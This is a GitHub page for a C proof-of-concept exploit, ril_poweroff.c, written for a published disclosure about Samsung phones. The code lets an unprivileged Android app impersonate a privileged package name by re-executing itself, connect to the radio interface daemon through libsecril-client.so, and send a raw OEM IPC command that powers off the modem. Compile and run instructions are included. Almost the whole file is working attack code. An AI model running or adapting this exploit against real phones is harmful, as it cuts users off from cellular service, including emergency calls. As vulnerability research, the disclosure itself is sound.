-
Notifications
You must be signed in to change notification settings - Fork 66
/
Copy pathril_poweroff.c
272 lines (214 loc) · 6.68 KB
/
ril_poweroff.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
/*
PoC to interact with RILD on Samsung phones, from an unprivileged
application. Details are at:
http://roberto.greyhats.it/2016/05/samsung-access-rild.html
Compile with:
$ aarch64-linux-android-gcc -fPIE -pie -ldl -o ril_poweroff{,.c}
Run with:
$ ./ril_poweroff com.expway.embmsserver
Author: Roberto Paleari (@rpaleari)
*/
#include <arpa/inet.h>
#include <assert.h>
#include <dlfcn.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <unistd.h>
#define RIL_REQUEST_OEM_HOOK_RAW 59
#define REQ_OEM_HOOK_RAW RIL_REQUEST_OEM_HOOK_RAW
/* For cmd_type */
enum IPCCommandType {
IPC_TYPE_EXEC = 0x01,
IPC_TYPE_GET = 0x02,
IPC_TYPE_SET = 0x03,
};
static void *resolve(void *lib, const char *name);
static void get_cmdline(char *data, int size);
struct OEMRequestRawHeader {
unsigned char main_cmd;
unsigned char sub_cmd;
unsigned short length;
} __attribute__((packed));
struct OEMIPCHeader {
uint16_t length;
uint8_t msg_seq;
uint8_t ack_seq;
uint8_t main_cmd;
uint8_t sub_cmd;
uint8_t cmd_type;
uint8_t data_len;
} __attribute__((packed));
struct RilClient {
void *prv;
};
typedef struct RilClient* HRilClient;
/* Callbacks */
typedef void (*RilOnComplete)(HRilClient handle, const void *data, int datalen);
typedef void (*RilOnUnsolicited)(HRilClient handle, const void *data, int datalen);
typedef void (*RilOnError)(void* data, int error);
/* RILD functions */
typedef HRilClient ((*t_OpenClient_RILD)(void));
typedef int ((*t_CloseClient_RILD)(HRilClient client));
typedef int ((*t_Connect_RILD)(HRilClient client));
typedef int ((*t_Disconnect_RILD)(HRilClient client));
typedef int ((*t_isConnected_RILD)(HRilClient client));
typedef int ((*t_RegisterRequestCompleteHandler)
(HRilClient client, uint32_t id, RilOnComplete callback));
typedef int ((*t_RegisterUnsolicitedHandler)
(HRilClient client, uint32_t id, RilOnUnsolicited callback));
typedef int ((*t_RegisterErrorCallback)
(HRilClient client, RilOnError callback, void *data));
typedef int ((*t_InvokeOemRequestHookRaw)
(void* client, const struct OEMRequestRawHeader *request, int size));
/* Global symbols */
#define DEF(n) t_##n n = NULL
DEF(CloseClient_RILD);
DEF(Connect_RILD);
DEF(isConnected_RILD);
DEF(InvokeOemRequestHookRaw);
DEF(OpenClient_RILD);
DEF(Disconnect_RILD);
DEF(RegisterErrorCallback);
DEF(RegisterRequestCompleteHandler);
DEF(RegisterUnsolicitedHandler);
#undef DEF
static void *resolve(void *lib, const char *name) {
void *sym;
sym = dlsym(lib, name);
printf("[D] Symbol %s is at %p\n", name, sym);
assert(sym);
return sym;
}
static void cb_RequestComplete(HRilClient client, const void *data, int datalen) {
printf("[*] RequestComplete, client %p, data %p, len %d\n",
client, data, datalen);
}
static void cb_RequestUnsolicited(HRilClient client, const void *data, int datalen) {
printf("[*] RequestUnsolicited\n");
}
static void cb_RequestError(void *data, int error) {
printf("[*] Error: %d\n", error);
}
static int send_oem_request(HRilClient client, char main_cmd, char sub_cmd,
const char *data, int datalen,
int cb_num, /* callback number */
RilOnComplete cb_complete /* callback */
) {
int retval, totalsize;
char *request;
struct OEMRequestRawHeader *header;
totalsize = sizeof(struct OEMRequestRawHeader) + datalen;
request = malloc(totalsize);
assert(request);
/* Initialize the request header */
header = (struct OEMRequestRawHeader *) request;
header->main_cmd = main_cmd;
header->sub_cmd = sub_cmd;
header->length = htons(totalsize);
/* Copy the (optional) request data */
if (data && datalen > 0) {
memcpy(request + sizeof(struct OEMRequestRawHeader), data, datalen);
}
/* Install completion callback */
if (cb_complete) {
printf("[*] Installing unsollicited and completion callbacks #%d\n", cb_num);
RegisterRequestCompleteHandler(client, cb_num, cb_complete);
RegisterUnsolicitedHandler(client, cb_num, cb_RequestUnsolicited);
}
printf("[*] Sending request with main %d (0x%x), sub %d (0x%x), datalen %d, size %d\n",
header->main_cmd, header->main_cmd,
header->sub_cmd, header->sub_cmd, datalen, totalsize);
retval = InvokeOemRequestHookRaw(client, header, totalsize);
sleep(5);
/* Uninstall completion callback */
if (cb_complete) {
printf("[*] Removing completion callback #%d\n", cb_num);
RegisterRequestCompleteHandler(client, cb_num, NULL);
}
free(request);
return retval;
}
static void resolve_symbols(void) {
void *lib;
/* Resolve symbols */
lib = dlopen("libsecril-client.so", RTLD_LAZY);
assert(lib);
#define SYM(n) n = resolve(lib, #n)
SYM(CloseClient_RILD);
SYM(Connect_RILD);
SYM(isConnected_RILD);
SYM(InvokeOemRequestHookRaw);
SYM(OpenClient_RILD);
SYM(Disconnect_RILD);
SYM(RegisterErrorCallback);
SYM(RegisterRequestCompleteHandler);
SYM(RegisterUnsolicitedHandler);
#undef SYM
}
static void ipc_do_poweroff(void *client) {
char *ipcmessage;
int ipctotal;
struct OEMIPCHeader *ipcheader;
/* Allocate an OEMIPCHeader structure */
ipctotal = sizeof(struct OEMIPCHeader) + 0;
ipcmessage = malloc(ipctotal);
assert(ipcmessage);
ipcheader = (struct OEMIPCHeader *) ipcmessage;
ipcheader->length = ipctotal;
/* Outgoing call */
ipcheader->main_cmd = 1;
ipcheader->sub_cmd = 2;
ipcheader->cmd_type = IPC_TYPE_EXEC;
ipcheader->data_len = 0;
send_oem_request(client,
14+1, 0x42,
ipcmessage, ipcheader->length,
REQ_OEM_HOOK_RAW, cb_RequestComplete);
}
static void stage1(void) {
void *client;
char cmdline[512];
int retval;
/* Print command line */
get_cmdline(cmdline, sizeof(cmdline));
printf("[*] Command-line: %s\n", cmdline);
/* Resolve symbols */
resolve_symbols();
/* Instantiate the RILD client */
client = OpenClient_RILD();
/* Register callbacks */
RegisterErrorCallback(client, cb_RequestError, NULL);
/* Connect to RIL */
retval = Connect_RILD(client);
printf("[*] client: %p, retval: %d: connected? %d\n",
client, retval, isConnected_RILD(client));
assert(isConnected_RILD(client));
/* Poweroff the modem */
ipc_do_poweroff(client);
Disconnect_RILD(client);
CloseClient_RILD(client);
printf("[*] Terminating\n");
}
static void get_cmdline(char *data, int size) {
FILE *fp;
fp = fopen("/proc/self/cmdline", "r");
assert(NULL != fp);
memset(data, 0, size);
fread(data, size, 1, fp);
}
int main(int argc, char **argv) {
if (argc == 2) {
/* Run stage 1 */
char* const args[] = {argv[1], NULL};
printf("[*] Running as %s\n", argv[1]);
execv(argv[0], args);
printf("[!] Failed\n");
return -1;
}
stage1();
return 0;
}